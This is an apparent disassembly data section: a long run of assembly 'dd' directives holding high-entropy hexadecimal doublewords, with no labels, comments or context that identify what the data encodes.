dd 68C1EA55h, 30E7AF64h, 0C076319Ch, 0C248FCDh, 36F0EF55h
dd 3E11FC03h, 0E060AE0Ah, 3EAD994Eh, 19020B4Fh, 0D1B1B5F4h
dd 6835CAFh, 0C2D02497h, 8201BA67h, 6FB12BAEh, 20800389h
dd 0A23A24Fh, 0A00058CCh, 52619027h, 15780Eh, 5179EEA4h
dd 0CAE83228h, 3817A601h, 0AE0C3C70h, 50FC5C4Ch, 0B0037424h
dd 540B24F8h, 0AD010533h, 28F44099h, 67C865F7h, 0F4074E02h
dd 45623925h, 2E112Ch, 56E6B854h, 54BA08D8h, 62BF5C2Ah
dd 4C93B0CFh, 23E8444h, 0C369E2B9h, 752848F7h, 0A7BD0076h
dd 0EE9342Dh, 0C0A117AEh, 56FC11FBh, 1858D04Dh, 505348C1h
dd 0B6B88680h, 0D43C5F93h, 0ABEC0EC5h, 7FD620CEh, 0C091E61h
dd 984C7B05h, 21005A31h, 13195B46h, 2A8DC2Bh, 0DEE016D3h
dd 78B1D04Eh, 0DCCD1138h, 90A59EC8h, 0EDAF004Bh, 21A132DEh
dd 30152EEh, 48F2968Ah, 4C409D4Ch, 1153557h, 4A10497Dh
dd 0F04F1B02h, 2C50F8DBh, 220C3E6Ch, 70BC1E53h, 0ED872001h
dd 34BF0600h, 0C054DD51h, 0A7524C7h, 2FE90224h, 0ACA0ABD7h
dd 23176E03h, 6C2D0800h, 0DA3C634h, 38D41D57h, 0B105CA39h
dd 0F6C242BCh, 9EE22820h, 0B9F0A42h, 8B46B23h, 5314F49Ch
dd 0DCA58094h, 1C5FB12h, 0F82B44F9h, 2013C782h, 502F412h
dd 631E9326h, 398C4142h, 43A33810h, 0A700AEFAh, 0DFB5941Ah
dd 12222D56h, 674E3BD6h, 71892C0h, 74505B07h, 447AF7h
dd 0F69286D5h, 0D4E76494h, 0D1A3E401h, 1E789AFBh, 20E03193h
dd 25665B70h, 0A644BA00h, 8F50416Ch, 34E5304Fh, 74664321h
dd 60E4B400h, 28EC1F23h, 0EA6D01BDh, 0EF53B85Eh, 5102CD2Ch
dd 0F87448C0h, 5714FDD7h, 22E81A7Ah, 0C59C006Fh, 8A55B5EAh
dd 0AC02DD04h, 0A4D1B6Ch, 7FD49835h, 0B4F454C5h, 8D20070h
dd 38245C5Fh, 9714B643h, 2298827Eh, 4815002Ch, 3879FD3Dh
dd 903BA027h, 0A51C129Bh, 0B0A34462h, 0B8D5C79Ch, 69F5602Fh
dd 8496458h, 0B1460B09h, 0E6C4A04Eh, 0A4634AFFh, 0A89944ECh
dd 5D074B01h
dd 0D0D6E846h, 0CEF0B421h, 90F26EBh, 0A82E621Ch, 8C9314C1h
dd 71F8C239h, 0ED1B07BBh, 0F0FA4B6Fh, 0B9EF0BC3h, 0AC7C30F7h
dd 0D4C5F105h, 6048E83Ch, 1D6C2D0h, 52B5E4A0h, 68E89875h
dd 0CCFC8204h, 20C3B832h, 0AA79D904h, 6DD17510h, 0C5B9D400h
dd 8DD84F9Bh, 47AE0C7Ah, 0C2F132B1h, 4FB59h, 0E61FC91Ch
dd 0BCB44C4h, 8A25070Dh, 3EC3E030h, 2AF68498h, 0DFC1F13h
dd 93A66C20h, 5C9950h, 0CC0B0F19h, 9D507017h, 955553F0h
dd 0D3D7D888h, 40E5F400h, 56ECD9CBh, 8EE7016Ah, 1B971221h
dd 0C8C3601h, 59AD7898h, 4C0498BDh, 4A34F8CAh, 2F14C2C1h
dd 6B0B0C66h, 0B8A49513h, 3433C3Ch, 0D520BF19h, 76EFC6AFh
dd 0A830F9CFh, 914AD46Ah, 799318A4h, 0AC0271C7h, 52BC2C99h
dd 3E472268h, 6B004C95h, 3BC9E5DEh, 1B1F27AEh, 9C40A076h
dd 0BF0F79F8h, 78B14CE4h, 0B136E7C6h, 81913500h, 253F4B66h
dd 2B4C0079h, 36CC2CBDh, 0E090AE2Ah, 48807D53h, 97F310F4h
dd 198ED618h, 0E800750Ah, 3554DA11h, 0AC6B22CAh, 53C61880h
dd 7233B19Bh, 65AC4C00h, 75AB8C42h, 0B1A61EA4h, 0B8BD9434h
dd 28B75317h, 3A0740C4h, 55F3DC82h, 0F1B83970h, 0BBAE1DF0h
dd 3760F29h, 0C7AC5080h, 0B426CA3Fh, 6AC07406h, 4C9D309h
dd 0FC14C581h, 359CC80Eh, 8994EE5Ch, 0E9D090D6h, 0D83D01BDh
dd 3A3B90E6h, 11407780h, 0F4583456h, 0C741F637h, 5190C47h
dd 0A85ADB2Eh, 90A18243h, 3C253EBBh, 0BE05B74Ch, 61A231Dh
dd 598C02A8h, 68284924h, 48207964h, 7EF410F1h, 0B4D0CFh
dd 28F4F5C6h, 7B931B71h, 0C5C029C8h, 5B2CE56Bh, 0F5012843h
dd 0D831B2A3h, 9C428859h, 9C072505h, 0BB00BA84h, 13FBF4Eh
dd 18ABB2D1h, 0A8153EE3h, 0B0B99697h, 0ADD6066Eh, 8D493A81h
dd 7CAEAC38h, 0C5650082h, 53E3CA0Dh, 6E49h, 0F2364F2Fh
dd 28D1F993h, 12E0DCADh, 62CD126Ch, 0E5209B70h, 0E05C2FDFh
dd 8525009Ah, 0F4059538h, 0D9485F30h, 0A062A26Ch, 0B7C30FECh
dd 7E0900E0h, 823E0233h, 0B201A184h, 0A8450E30h, 702028D2h
dd 0BE4494CCh, 7DEE1CF6h, 1412C75Bh, 2471C080h, 0FB0A4D35h
dd 84BC5AB7h, 0CB381B11h, 0D78008D8h, 91F6AFD9h, 6836BA09h
dd 8980316Ah, 3BC343C0h, 0C9250DAFh, 0A8F58430h, 25279B83h
dd 2818BFBEh, 0B0A47498h, 2440BC4Ch, 6240545Ah, 795B5966h
dd 47D20B53h, 8C04C5DAh, 3FE7467Eh, 457700A1h, 0DC17895Ah
dd 540939D2h, 30123CC4h, 2501AC2Ch, 0B8A57B84h, 33C4176h
dd 0FCA45743h, 0B952D6C0h, 1BE100F8h, 0E43D7334h, 900D00A0h
dd 9959BCE3h, 69134284h, 5C72D2DBh, 6AE8209Ah, 0FB00348Fh
dd 4C3E2620h, 3DE0D99Eh, 0F51288CDh, 6370CDE3h, 11410070h
dd 498A9ECAh, 51E8006Fh, 4778FE17h, 0D4BA1042h, 32C5542h
dd 77C36380h, 0D3EAE180h, 0EFA3E0Ah, 0E308E8CFh, 80642997h
dd 12B5B4EEh, 59E48ABEh, 2101B091h, 76D91EE9h, 39BC9C58h
dd 4902D3A3h, 7B9AEEBAh, 0BC27D111h, 3114721h, 3EDC84C0h
dd 7E1CC2B4h, 0EA9501AFh, 4CC32EC4h, 0B1A7B947h, 0DC65E240h
dd 0B0AE5C0Dh, 4FC1CC12h, 0E1000960h, 7BE94F02h, 0A4F50E00h
dd 860FA2FAh, 40297E68h, 0F1D0AFA3h, 72C0DCE4h, 938431F9h
dd 0AF81006Bh, 70389F25h, 990BC716h, 0B0D24928h, 45C56D98h
dd 5580FCF8h, 4845250Eh, 8FB080DBh, 14DE5ECEh, 0AC0B3E3Dh
dd 0C421CBC0h, 0F312E602h, 0ACCCAF5Dh, 28FE50C2h, 0CB8E008Ah
dd 0E2DEFCB7h, 32011D55h, 0CB6755Dh, 0C237A83h, 1F00044Bh
dd 505C8CB2h, 0B39158B3h, 0ADC1785Ch, 0D0FE8121h, 55485865h
dd 19FD05B2h, 743114EAh, 60297293h, 60907527h, 200E8D1h
dd 5BC3E39Eh, 58AF2DAEh, 0F502B860h, 0CE163615h, 0C0C6CCA4h
dd 2D54B5ACh, 5C6AEA09h, 0C60C3074h, 0BFB4BBB4h, 9000F4C4h
dd 5991FACAh, 5C6EEDh, 1528FB3Eh, 0DE7F0AF5h, 0BCB3612Eh
dd 78904D12h, 8F6DB4h, 12E3EC9Fh, 89A8E8B8h, 53223D09h
dd 0AD586866h, 0B31C064h, 0A7502D55h, 5827C275h, 8443003h
dd 0FB601DC7h, 443490Dh, 6026104Dh, 0D28C87C9h, 0D1AF1248h
dd 143055A0h, 0E20004B2h, 0FADAF1F2h, 920128E9h, 0AD43BFF9h
dd 38638719h, 65220880h, 0D72A5679h, 0A7007C32h, 6B2E20BDh
dd 0F6DFC75Ch, 85182584h, 0DE48C818h, 265D6A03h, 3BC2C5DDh
dd 8F80C9A1h, 0D10EA708h, 6A1DFCE7h, 0D6801594h, 3989B95Fh
dd 61134ED7h, 267598F4h, 22CC48F4h, 649902C7h, 5F35958Eh
dd 0CA7ABC84h, 0CD0900C8h, 0ADD20FC0h, 0F0E00737h, 48FB0D29h
dd 223648C1h, 778A448h, 0F7B784BCh, 806BF473h, 0C1A26F38h
dd 18375812h, 0A4D6A021h, 526E8980h, 8C860328h, 8DF4D401h
dd 0AF71E3CDh, 0F722BC26h, 5202ED79h, 8EC35FEh, 56FCE699h
dd 0CB12F410h, 220800D5h, 2427F554h, 0A370C00h, 35405176h
dd 0FFCA73E8h, 0FC176C62h, 3D383082h, 0EAE4D1D3h, 0E620FF61h
dd 0F21F59h, 5A206A12h, 0DD48D700h, 78EFFAFDh, 0EC8A0663h
dd 2805CF45h, 5658A398h, 3DD42250h, 0D905A475h, 0CCE9A6A8h
dd 690195E4h, 54CCE340h, 3770870Ch, 0E637EE0Dh, 0C7C32E78h
dd 0CC4E16B4h, 4A718B08h, 84F484Fh, 0F3E606Ch, 3E6B8DAEh
dd 69807336h, 4F2D3CFCh, 531225A4h, 0AC4B3B95h, 27D04CAFh
dd 0F4817E9Dh, 928C7A93h, 8420E069h, 0FF6AABAh, 4F9BF3A0h
dd 428193BCh, 8C4C9AECh, 0D680A459h, 799BC165h, 4A40A08h
dd 60A4BCD3h, 66AE56B3h, 3630F463h, 1C95F425h, 57F0F000h
dd 4CCD4D52h, 9C7FCEAh, 0BF31108Bh, 0EC00C530h, 0FFC4709Fh
dd 5FA68FEh, 95FDF30Ch, 39832CDh, 45004879h, 0C5B4FB08h
dd 46E12464h, 95C10900h, 23359C82h, 0AF0E0044h, 0A387410h
dd 299C986Dh, 61872A22h, 4E9825B4h, 0DF00FC14h, 57AC43ABh
dd 0B4CD3Fh, 95912D3Ah, 4167B87Dh, 0D9030404h, 28C84C68h
dd 8BB900A0h, 29A89261h, 9D094ADFh, 0C81C366Eh, 4C0DFC34h
dd 6A8E5432h, 0AE571291h, 0AA028CC3h, 744C859Ah, 6C0DC2Ch
dd 0BBD6B641h, 0B621062h, 72B101E8h, 2F2D00D8h, 8152FD2Ch
dd 7B04C669h, 4A5355Dh, 0C906A883h, 0E907B316h, 1B212C82h
dd 259420Fh, 78A10007h, 0F7003F56h, 0D46E3D4Eh, 0BEF9783h
dd 0C1D8BD49h, 79278380h, 945257E1h, 3E0EC0BCh, 4E40D98h
dd 0E56A17ABh, 38001630h, 8E872A80h, 2E810037h, 9AB47C4Dh
dd 0AE050773h, 0E314C147h, 0B000D4B6h, 27335F4Dh, 0D6ECD7CEh
dd 40CBA500h, 9BF92886h, 53B315C2h, 81008096h, 0D9509A35h
dd 0A424197Ah, 1C942086h, 98A78044h, 0B9ABF879h, 0FC49E28h
dd 37C0237Dh, 95FE7653h, 81E3A438h, 5077340Dh, 70783312h
dd 701A1E80h, 4B0FFF5Bh, 4019B7C3h, 2C17DF44h, 0A1F8A33Dh
dd 53017574h, 7DCD1041h, 152B0011h, 8DB3DD3Dh, 0C91ED51h
dd 0D2C58B04h, 92AA7440h, 0D0F37721h, 460480B5h, 0D3116B26h
dd 974E2843h, 7C0F93Ah, 0C4256AA9h, 0EC193542h, 7A3F0E04h
dd 17C04F0Fh, 34A31E1Bh, 50DB8009h, 0E98CE03Bh, 30B906D0h
dd 61C65398h, 0ACB30208h, 0AE0B02C8h, 6484FED8h, 42DFA822h
dd 78E84C8Ch, 106A5600h, 89C9D158h, 0F574004Eh, 53ACDF84h
dd 8B0FE54Fh, 4E765960h, 0E9CB00BDh, 14119BAh, 8CA37FDDh
dd 70356B66h, 0E01759E5h, 18618501h, 5830EF2Bh, 93F800EDh
dd 9186AAFh, 0F600EA0Dh, 5A2FB73Fh, 982915BBh, 141A00CCh
dd 8BAAEBDBh, 0C006967h
dd 0FC57339Dh, 0F4B3788h, 99CCEF4Dh, 201F4AA0h, 0B33201A8h
dd 6061E17Fh, 486A3678h, 1180E0D0h, 38CC0A4Dh, 1B6DB800h
dd 80A9D18Ch, 2F69011Eh, 0AA709509h, 0D43ED0DBh, 0AF135200h
dd 0CBAB33F2h, 0EFF407C6h, 704FA559h, 77E6E3E8h, 8989043Fh
dd 48C23C48h, 0F85CDB8h, 0DE42F15Bh, 255D6DC0h, 8100953Eh
dd 0EF8682ACh, 720C679h, 6B96CBB9h, 0DD4520C4h, 3D00C1FEh
dd 8BBF5170h, 1205FF75h, 5931B84h, 0C04E7D6Ah, 0C6C8A227h
dd 0AFE90B09h, 797890E7h, 0D7A901DCh, 5FC9EE5Ch, 0DDB3D8C3h
dd 255B1600h, 0CF8F31A3h, 1D981F5Ah, 0E6B1408Bh, 9E8502D3h
dd 78085899h, 0B610BEC8h, 0B1450EAh, 4064D612h, 0C15BC07h
dd 34D00374h, 0E4B11D2Ch, 6CC91F3Fh, 0FA2840F3h, 0F7EDF93Ch
dd 0A4840E00h, 0B005CC19h, 0C251C566h, 6F9440FCh, 691897A3h
dd 2BD48400h, 129FE3BDh, 0CC614CC5h, 0A48F60C0h, 21000B68h
dd 71F1A0F3h, 62304F4Eh, 59BF48ACh, 0B44986E2h, 0CDDB1034h
dd 0B0A2018Ch, 0E711F6E2h, 698EEC25h, 0FD7B4700h, 0CD7724C3h
dd 0DC2D2484h, 0E54E8D10h, 9EADE049h, 954F031h, 198335E7h
dd 9918EEB5h, 72069898h, 61A75A01h, 0A5F3A953h, 82D7EC40h
dd 858A03C7h, 832B24Bh, 0CA52FF2h, 0E7A48C0Ah, 0A93B9E00h
dd 461AC8AAh, 0DECA00E5h, 0BC73603Ch, 20000851h, 0A48AECDh
dd 4CE413A1h, 0B757C6Dh, 0D30137A4h, 0F7005066h, 5C14A6EDh
dd 0E46F25FDh, 0B1AF0310h, 2CD1341Fh, 0F9E147A8h, 54C21940h
dd 1D17C4FFh, 409ADB28h, 87329C1Bh, 0D70580E1h, 0C5E530E2h
dd 120C88h, 0FD21BAD1h, 4E0B2C2Eh, 0B4F1A301h, 62A402E4h
dd 884AB473h, 87909004h, 62B9BA09h, 1C588103h, 30AC75C6h
dd 7630305Eh, 0D5C9302h, 0A6F50438h, 0AB484FB1h, 0A060D58Eh
dd 0CB6D2499h, 7512CADh, 45C76484h, 3C98031Fh, 897E0018h
dd 6D1AB29Dh, 2D00B839h, 9BEEC8E6h, 3A96FAh, 1125A263h
dd 0EB1C5E46h, 0E68B8C17h, 0B0608025h, 53FB6Bh, 0C9FE504Ah
dd 2B79F36Ah, 32B73801h, 0FDA5BBEEh, 8DF2A03Fh, 47D1B107h
dd 0EC80A686h, 2EE0C899h, 881C03CBh, 0D68CFB25h, 6DE1C0h
dd 7FC7B32Ah, 0DCFB4CD7h, 5116B9EEh, 2C223311h, 938A18D1h
dd 0C2D26281h, 46F84696h, 0B0B426B8h, 50CB0Fh, 0A47D7C12h
dd 0D007005Dh, 2E8AE5A7h, 0B700AA55h, 0E6A37CEh, 0FB7CB0h
dd 5CEEA0FAh, 799389D1h, 0DDE4D21Ch, 0E8E6918Bh, 4C2ACDC4h
dd 9417052Bh, 0F12A0313h, 0F288DD22h, 93127A79h, 50041C26h
dd 4600CF40h, 0A7BAD680h, 8BCD070Ah, 761868BEh, 0D37430h
dd 1D40CCA9h, 586D6B59h, 782A4B07h, 89EFBA45h, 224400EBh
dd 5835B394h, 0C787901Dh, 20232978h, 0E682C820h, 0A0A7DC90h
dd 3A5B38h, 0DA842350h, 73452BBh, 0D71558BFh, 0E2AEE092h
dd 594C8187h, 5F78806Ch, 7DC4B739h, 34D7007Eh, 2C5323E3h
dd 2828B2E4h, 7922BC67h, 36100CADh, 0FC91C424h, 142C814Ah
dd 5DD8A078h, 30CE2C77h, 82440FCh, 0A606ADD3h, 414D54FCh
dd 72BF0331h, 2DDA4887h, 848957E0h, 8C8DE000h, 52FCC32Ch
dd 29C00044h, 0C660116Ah, 0AF06F815h, 1CD60D5Dh, 0E0F4C9h
dd 29EF9D7h, 1E18B58Fh, 0AB559100h, 0E8164862h, 5A200469h
dd 851BAC76h, 0B33832ABh, 2127A19h, 0A0B37D04h, 4B57620Eh
dd 783E414h, 210024FCh, 780DA6D5h, 0B49E83F9h, 0F9411E4h
dd 40E41ADCh, 0AB5D3C40h, 4F45004Dh, 6E2A5F46h, 5B16EB43h
dd 4420FCA1h, 2FE8E1B2h, 0D890554Ah, 0B504055Bh, 0C5DCD478h
dd 3814FC88h, 4C013196h, 6D3675FEh, 476E20ADh, 2F001A7Ch
dd 0EC9023C5h, 7CDA3AFh, 0A53B1827h, 0DFFC005Ah, 0AA008BE6h
dd 0C684923Eh, 72960B37h, 0A94F0034h, 0CE3ABF29h, 9325DF07h
dd 26C4875h, 9C149584h, 0CE421500h, 4441D9E8h, 0A2AD3EDAh
dd 2D75A700h, 6F18867Ch, 0D877E53Ch, 8F7E001Ch, 0C77B9B35h
dd 2AE075h, 6DA6C0D7h, 0F6B06825h, 0A40017ECh, 79A20E7Dh
dd 26235393h, 12BCE807h, 80FCB2AEh, 0DCBB9B2Bh, 0F7DB0116h
dd 0FA47A577h, 0ACD7D4F2h, 72AFD200h, 1AEB5A7h, 7BB4A4BBh
dd 4020BE98h, 0C343D2A4h, 0F0473D1Ch, 800AE3CBh, 762AF1A4h
dd 92561368h, 97853AFh, 6468EC74h, 22F7FC0Bh, 0B9007F28h
dd 6D77742Bh, 1B38CE3h, 0B6624A70h, 7D57BFACh, 0DA0B0780h
dd 21BC7D52h, 40A58DCh, 2E8287C0h, 57002335h, 0B9FBB5B4h
dd 12D0B1BCh, 900A09DDh, 5E5A40ACh, 0A527A3E8h, 3F54A0C5h
dd 9BE7D2h, 2BEF8C67h, 0B884E877h, 5000F899h, 0ECC037A0h
dd 256A048Ch, 0E453A9CCh, 17004FE8h, 2E5AD13Eh, 127D86F9h
dd 93B0AF32h, 49DEC2BCh, 0AA8D6D00h, 0BEF76E15h, 241114EDh
dd 0B0014E1h, 0A0C66980h, 85073D81h, 72A958BBh, 0E7D7AED0h
dd 1CF10275h, 59509831h, 0BABD8CA0h, 7948F096h, 0D3BBB1D4h
dd 8148C71Ch, 47BF0430h, 80A49620h, 90C954D2h, 772C134Ah
dd 0B33CCCABh, 4244BE48h, 0C02200E0h, 0A7810475h, 0F54C13B4h
dd 0AE4C41D4h, 22C5E80Dh, 41C10034h, 24076AD9h, 551539EFh
dd 0AD1250BDh, 0FC78024Fh, 0ACC6853Eh, 0A99540F0h, 3CFC44C0h
dd 0B8707EC1h, 859490A3h, 84E8AD0h, 76AD007Ch, 183754F3h
dd 73419496h, 0C0221D36h, 0FE01AF00h, 0A2E551D2h, 0BEFC425Eh
dd 0A9FB1703h, 7E2825DDh, 240478EFh, 0AEADD235h, 0AC88C4D5h
dd 0F8571D0Fh, 37044016h, 0A1744F94h, 0D2B3E850h, 1715280Ch
dd 4070E9A2h, 0D13B75B2h, 0ABBD0420h, 30B85193h, 0CC00118Bh
dd 0E661B009h, 0D150F4A3h, 117A598h, 0A008BCC6h, 0D43A803Bh
dd 0A4AACCD0h, 985ACB00h, 53F3BD35h, 0E910443h, 84BBEC80h
dd 0CD6CC0D4h, 0F2544061h, 0BC17CF80h, 840A34Ch, 0A0CE5123h
dd 2E342C3Fh, 270B0358h, 303647B8h, 939C635h, 548705C7h
dd 0DC5CE412h, 0D7E42E40h, 6C500038h, 8227CC29h, 0E60CA82Fh
dd 0C0A202AFh, 2BB101E7h, 7C6694A9h, 48AEF831h, 7663FC09h
dd 37628179h, 943D4F4Dh, 0F38E2D00h, 6504B04Bh, 0E1A03Ch
dd 0F1FF55F9h, 4BBE05C5h, 6B0CD059h, 0ED005B3Bh, 5E45272Ah
dd 48A5B52Ch, 0D40934A0h, 80792BF8h, 0DE9D0D40h, 343600C5h
dd 9F0BA43Eh, 3502BB10h, 0A5B0A81Ah, 0E6CC40D1h, 69A96359h
dd 6472FDA0h, 1BD5E203h, 988174BBh, 0C1A3092Ch, 56FC3731h
dd 60B875B4h, 0B9FB48h, 342019C4h, 0A40C2D51h, 210BC7CCh
dd 3EAFEA3Eh, 2A828BDFh, 0A7560D12h, 6C407874h, 0C4B36Eh
dd 72BA73E2h, 4F904BD3h, 2CBCA470h, 940BE41Eh, 58C8C031h
dd 0B4AB00CDh, 4E3EE3A4h, 595EE0BAh, 0BC2B3040h, 59F8437h
dd 0E17A14F8h, 2ABCB1BEh, 55E0B427h, 91AC18h, 0BA1624D1h
dd 0D9156920h, 0F8F97E0Ch, 3E3099h, 9F230EF1h, 58EFA694h
dd 0A03FA300h, 30C8B084h, 0BD0C3049h, 0D84F9718h, 0CBC6D300h
dd 0ACD00496h, 6A3D00A7h, 0F3607C5Ch, 840048B0h, 5722781Fh
dd 9A79AE7Fh, 48A0B878h, 0E504E4ACh, 0C82DE7AFh, 0D70B077Ch
dd 18605B82h, 337F10h, 0D840E08Ch, 0A44EAC0Eh, 0CF4040BBh
dd 768D7Ah, 25156454h, 0FF86C3DCh, 217BC01h, 6AC5729Eh
dd 0A9C8200Dh, 90E069C9h, 0E97844h, 8523083Ch, 3494D0EEh
dd 70D0D74Bh, 0CB13D1h, 21DDFEBFh, 0A407DB1h, 0D8C8AF4Fh
dd 5C1F0055h, 14029BF3h, 0AD02D077h, 17D14D3Eh, 9FC07839h
dd 0B8CE08A0h, 8AB34A1h, 0AAACBCD0h, 7B3D371Ch, 90BA1FC9h
dd 48A5B2E8h, 9D34FBh
dd 3648ADB9h, 0AC502010h, 4C024160h, 229CB2CAh, 0E39060A4h
dd 764900E2h, 0B9577434h, 0C3001F32h, 70A69992h, 244CE40h
dd 11E79829h, 7CC633E6h, 4D832600h, 64DBE1D9h, 7FFC00CBh
dd 18B881C4h, 90B933B0h, 4E214A40h, 169501ECh, 2B473B10h
dd 0C00C2C85h, 1B7492AAh, 86DC068Ch, 88D84411h, 3E00C4F0h
dd 0D6A79AFh, 0E1DF7ABFh, 2FE0FAE8h, 80307293h, 0CE7C4138h
dd 0A4C80D1Eh, 35C55285h, 4FB324E0h, 0FE4C48B1h, 80791B89h
dd 9C68826Ah, 676D0334h, 98D57DB2h, 57BE0190h, 0B8AAF000h
dd 0F7ACEC3h, 0F11904F8h, 0E2A3EDCFh, 0C4721C98h, 0AB626600h
dd 7C539AC6h, 0C0549EA6h, 713FE589h, 3156C01h, 57F45C88h
dd 5C49D3D4h, 0B5029782h, 0A6A15137h, 0A4901C6Ch, 383D5090h
dd 253B80A8h, 6EE08BEEh, 9DFE0F4Bh, 2FC0FAACh, 0C747BA83h
dd 63092E00h, 14C9748Ah, 8BCE0094h, 60443FB6h, 5C13869Dh
dd 0E7186BA4h, 0E56928h, 5BD52BDEh, 0AC7656F7h, 8A618E03h
dd 0A465602Fh, 8029C307h, 59C1829Fh, 926E8E03h, 90EFDE86h
dd 0F28DAB3Ah, 0D7A300B4h, 9F35AFE3h, 3381A7Fh, 0B3189877h
dd 184CA951h, 11BA3424h, 220BE563h, 4A14037h, 76C37DF1h
dd 367E3CCh, 0EB2BAB79h, 70B89005h, 3A00B08Eh, 9DD648F4h
dd 0E8E484h, 0E5445638h, 99DD0D63h, 34676C00h, 16906E24h
dd 21234C4Eh, 0A804FE03h, 90100D3Ch, 5017630Ah, 46B30131h
dd 0F48B5943h, 9E00344Ch, 6BCEA56Fh, 6FE191A9h, 0D83319Ch
dd 98298B9Fh, 7000A06Ah, 19D512E0h, 0E3473E6Dh, 14319830h
dd 3E00901Bh, 9E68B120h, 0FF8BD0h, 775D4BB0h, 4114811Dh
dd 63C92514h, 115060A7h, 17DCC7Ah, 5A33A620h, 0C45D7935h
dd 0D3FAD690h, 60B24400h, 0CC4932DEh, 97F2011Fh, 993573Eh
dd 454415Ah, 90519D8Bh, 8402D92h, 868ABCFh, 0C2FF0171h
dd 0F0B750A0h, 771824FEh, 0D8C1752h, 19C67B5Dh, 414ADDE0h
dd 9862E06Ch, 4EC91502h, 0A0E53426h, 0FD0565E4h, 1BB800EFh
dd 86568158h, 800801Ah, 0FAF76215h, 158336B0h, 9C8512B1h
dd 93DD8600h, 0B67A578Bh, 0AA5EC1Ch, 0D4433640h, 0C4CD29h
dd 0C5E3C33Bh, 0CA6CC0DAh, 4EF7330Ah, 4805476h, 1CD3D91Dh
dd 649C0660h, 0F9415361h, 0A941811h, 97ECBE00h, 193C11EAh
dd 93543090h, 0BD005D90h, 0A7E92B6h, 0C25795h, 6ED6C584h
dd 0E463B765h, 62F8014h, 7D8A22B0h, 66F9C034h, 3D2A0E99h
dd 1C20458h, 8DD0AC43h, 0D7DCD9C6h, 1428C0E6h, 6B0590C3h
dd 31F22C00h, 44DC5B0h, 2E58042Ah, 886371F0h, 0DC033EB4h
dd 6B42B67Ch, 0DB948055h, 0C8E83D43h, 20791002h, 0CF60185Ah
dd 51D994Eh, 610CDEB5h, 1F7D19Ch, 0B36FF1ECh, 0FDFE472Dh
dd 1E80405Bh, 3851CEC4h, 82BB4014h, 0A5130C3Bh, 18FE58C1h
dd 0D3CB28AFh, 277AB00h, 7C4E146Eh, 0A2483E5Fh, 153F08D0h
dd 0E49D6BA7h, 8FD0E01Ch, 0D120A93Dh, 0BBEEC511h, 9E1D9214h
dd 893886C0h, 49BF0079h, 0ECEA06DFh, 430073C8h, 1D055754h
dd 0A0CCCFD1h, 0A88D34E4h, 0A668B0h, 0EAE29313h, 0B26FD73h
dd 1D208F12h, 0D10F4816h, 20222990h, 0F5513354h, 54F20140h
dd 359DB3ADh, 433824AEh, 0B206C98h, 0B728C163h, 0C8223E69h
dd 0AE0072CCh, 96A291E5h, 75E3D05h, 7A8E4F74h, 599A60A4h
dd 4006E7Fh, 0EA65D714h, 70777Bh, 8506C056h, 480B73EDh
dd 520028EAh, 7C14F23Ah, 475E5ACh, 499B83A3h, 5DD4C0FDh
dd 3C0085F8h, 0D18E1D06h, 0FACEC90Bh, 0A78994Ch, 80AC756Ah
dd 0BAC44F6Bh, 420030E1h, 86A5B062h, 3CC059h, 0E81C492Fh
dd 997A80AAh, 9F0BB718h, 501B7739h, 21F740Ah, 65B43BD1h
dd 0E1E29E9Ch, 1E460C44h, 0C92E6100h, 5B754146h, 1AB3C201h
dd 0CC4FB77Bh, 4C43CBDBh, 7AC01C19h, 7EBF8185h, 80B7E93Bh
dd 6E43CE35h, 44379E2Ah, 2553C662h, 0F65807E8h, 0E001F148h
dd 0FDD85D37h, 432500B6h, 0B31489F8h, 9B000595h, 7D4E6116h
dd 3E4044DCh, 18FFB22Eh, 0C18A6028h, 0ED019DD8h, 48410E19h
dd 0E0E8BDC6h, 64E8C9F4h, 348B8E81h, 0B7980B4h, 484CF94h
dd 3C091B74h, 0B1C928B6h, 63519E18h, 56FBE2C0h, 245B1A35h
dd 0D81D76h, 6C33277Bh, 4C0F98C7h, 675182BFh, 53967901h
dd 5B740911h, 1090BC40h, 5D0FBB19h, 0A41D8178h, 71C02BF4h
dd 69325Fh, 72B74E06h, 2CDB1C2Dh, 0D0268F24h, 943BB68Ah
dd 404EF347h, 873A43D3h, 0D6FB0156h, 74A84A99h, 0CB19D76h
dd 26221440h, 70C610E1h, 0FD581888h, 0D8502161h, 0F79F0600h
dd 0C3D3C087h, 164E12B1h, 9F013CDh, 9C10336Ch, 6CB23C60h
dd 0AC3F4301h, 3BB587C9h, 3500DC62h, 0C4F6385h, 6976F6BBh
dd 0BC393100h, 0ECFFC4D3h, 0F4E6503Ch, 0D66C401Fh, 3CA2C00h
dd 7B239DD1h, 1418C18Ch, 0D27795BBh, 2407E066h, 0B6894D1Ch
dd 30BB98Ch, 7A0AB535h, 8BE7F7Bh, 2EF0B0C4h, 0F9F6AC40h
dd 0A54C7333h, 74907120h, 1B4CD7F2h, 0CA280920h, 78840676h
dd 0F6B62C91h, 0C992403Ch, 71C1709Fh, 0E4E38062h, 695BD030h
dd 0FC82F1B6h, 372544FCh, 0E0A87488h, 0B38400D6h, 0D7E6F230h
dd 1C008303h, 0D9A3FB7Bh, 0E8DA4072h, 59A205A5h, 81904573h
dd 416346F0h, 63CE9538h, 3F0E00F8h, 0B7186D9Ch, 0A8831DA0h
dd 6CF98099h, 2EF4FF96h, 22ABE009h, 35E00167h, 48608710h
dd 2438036Dh, 99F65DF7h, 0F23BA5C8h, 5400FB98h, 12C4E99Ch
dd 0AF5BACh, 231324ECh, 726D3404h, 4279E302h, 0E79DCDD4h
dd 0A4580E68h, 0C76D94C0h, 0E11612F6h, 0B0404FEBh, 1BADD507h
dd 8BC62E0Eh, 60042698h, 66793BD6h, 0AA5CC31Eh, 2C6880C5h
dd 0AC327484h, 704C460h, 0E269FA53h, 7A28CC6Fh, 7B410A40h
dd 5526053Fh, 40181A76h, 0C0EAA9E0h, 9A010E10h, 0CC43DF29h
dd 0D0509B98h, 4C763F1Ah, 48121C1Fh, 6ADC061Ch, 0CA039977h
dd 55F6B80Dh, 0F0728839h, 0C0E8034Bh, 90617CDFh, 0F2C39100h
dd 0B1298AEFh, 6DC11DF1h, 0AF16C040h, 6A3FE21Fh, 91F09C61h
dd 798E9F04h, 0A0544C9Eh, 97809C88h, 0C18DCB56h, 59CBBCCh
dd 5268DC90h, 18ED0008h, 8C341344h, 5A0290A8h, 805CB400h
dd 0E8383560h, 0D7F20104h, 28091DFAh, 9EC440C3h, 79D29D36h
dd 84D1110Bh, 254086ACh, 9F9A2A5Ch, 0B8E21816h, 0EAAA1000h
dd 11F54D05h, 8FBDEFh, 2416520Dh, 4835A7h, 4DFC70C3h, 6821A4C2h
